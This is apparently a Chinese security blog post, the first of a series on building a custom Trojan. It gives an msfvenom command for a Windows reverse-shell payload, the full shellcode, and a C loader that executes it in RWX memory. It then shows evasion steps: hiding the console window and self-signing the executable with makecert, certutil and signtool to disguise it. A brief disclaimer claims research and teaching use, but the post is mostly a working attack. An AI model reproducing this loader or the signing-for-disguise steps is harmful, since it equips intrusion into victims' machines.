介绍
免责声明:
本系列文章提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,如果将其信息做其他用途,由读者承担全部法律及连带责任,本实验室不承担任何法律及连带责任。
本篇文章是定制自己的木马系列的第一篇文章,我们将会使用多种技术来开发自己的木马。
需要用到的东西:
-
Visual Studio
-
Kali Linux
-
Windows靶机
基础知识
我们先使用Kali Linux生成shellcode,命令:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.113 LPORT=4444 -f c
首先我们了解下何为shellcode?
shellcode是16进制的机器码,由CPU解释操作主要用来获取目标主机上的shell。
shellcode可以分为远程类型和本地类型,取决于攻击者使用shellcode是对本地运行,还是通过其控制远程机器。
shellcode执行
int main()
{
const char shellcode[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x11x5cxc0xa8x08x71x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
}
我们先来了解下这段代码
VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
我们需要使用Windows API 的 VirtualAlloc 函数来分配内存,该函数语法为:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
)
参数:
-
[in, optional] lpAddress:要分配的区域的起始地址
-
[in] dwSize:区域的大小,以字节为单位
-
[in] flAllocationType:内存分配的类型,在代码中使用的值为MEM_COMMIT,指定的保留内存页面分配内存费用(来自内存的整体大小和磁盘上的页面文件);MEM_RESERVE则是保留进程的虚拟地址空间范围,而不在内存或磁盘上的页面文件中分配任何实际物理存储。
-
[in] flProtect:要分配的页面区域的内存保护。如果页面正在提交,可以指定任何一个内存保护常量
该函数主要用于在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态,也可以使用 VirtualAllocEx 函数在另一个进程的地址空间中分配内存。
然后我们需要将shellcode填充,这里使用 RtlCopyMemory 将源内存块复制到目标内存块:
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode)
接下来我们需要创建一个进程以在调用进程的虚拟地址空间内执行,使用函数 CreateThread 来创建。
DWORD threadID;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
参数:
-
[in, optional] lpThreadAttributes:指向SECURITY_ATTRIBUTES 结构的指针,该结构确定返回的句柄是否可以被子进程继承
-
[in] dwStackSize:堆栈的初始大小,以字节为单位
-
[in] lpStartAddress:指向要由线程执行的应用程序定义函数的指针
-
[in, optional] lpParameter:指向要传递给线程的变量的指针。
-
[in] dwCreationFlags:控制线程创建的标志,在代码中0表示为线程在创建后立即运行
-
[out, optional] lpThreadId:指向接收线程标识符的变量的指针
然后我们使用 WaitForSingleObject 函数来检测 HANDLE的状态,完整语句为:
DWORD threadID;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
编写完毕后,别忘记修改项目属性——运行库为多线程,如图
否则会爆出该错误导致无法运行
然后点击上方的生成——生成解决方案,即可编译完成。
在Windows7上运行该木马文件
可以看到 Kali Linux 成功接到会话
"补丁"
1、控制台窗口
在打开木马程序时,我们可以看到会弹出黑色的窗口,实际上是控制台窗口,但是非常容易引起注意,在代码中添加:
即可屏蔽控制台窗口弹出
2、数字签名
Windows系统和一些浏览器(例如IE,Firefox)使用一种称为数字认证代码的技术来标识软件的发行商,来检查软件没有被病毒影响。如果你的软件没有用数字认证代码签名,用户将会收到一个警告“此软件发行商不能被成功的验证,你是否要继续运行此软件“,很多的用户为了安全起见将放弃对此软件的使用。
点击VS code的工具——命令行——开发者命令提示
可以直接打开VS code 自带的 makecert 工具
输入命令:
makecert -r -pe -n "CN=Diy CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv DIY.pvk DIY.cer
-
-r:自签名
-
-pe: 将所生成的私钥标记为可导出
-
-n:颁发证书的CA
-
-ss:证书存储名称
-
-sr:存储证书的位置
-
-a:指定签名算法
-
-cy:指定证书类型
-
-sky:指定密钥类型
-
-sv:指定.pvk私钥文件,如果没有就创建一个
接下来将存储该证书,输入命令:
certutil -user -addstore Root DIY.cer
接下来使用自己创建的证书给予授权,输入命令:
makecert -pe -n "CN=Diy Cert" -a sha256 -cy end -sky signature -ic DIY.cer -iv DIY.pvk -sv DiyCert.pvk DiyCert.cer
-
-ic:指定颁发者的证书文件
-
-iv:指定颁发者的.pvk私钥文件
-
-sv:指定主题的.pvk私钥文件,如果没有就创建一个
然后使用Pvk2Pfx工具将 .spc、.cer 和 pvk 文件中包含的公钥和私钥信息复制到个人信息 Exchange ( .pfx) 文件
pvk2pfx -pvk DiyCert.pvk -spc DiyCert.cer -pfx DiyCert.pfx
-
-pvk:指定.pvk文件
-
-spc:指定包含证书文件的名称和扩展名,可以指定.spc或.der
-
-pfx:指定.pfx文件
最后就是指定木马文件签名了
signtool sign /v /f DiyCert.pfx /t http://timestamp.comodoca.com/authenticode x64/Debug/diy.exe
网址为时间戳服务器用来对文件签名时间,目录则是木马文件的位置,注意不要带有中文
查看木马文件,可以看到数字签名
现在木马文件带签名能更加利于伪装,不过笔者不建议伪装成360的。。。
下篇我们将会对木马文件进行添加更多功能,如检测是否在虚拟机中等实用的功能。
本篇文章由Ghost Wolf Lab 编写,严禁未授权转载、复制以供商业行为!
原文始发于微信公众号(Ghost Wolf):Customize your own Trojan file-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论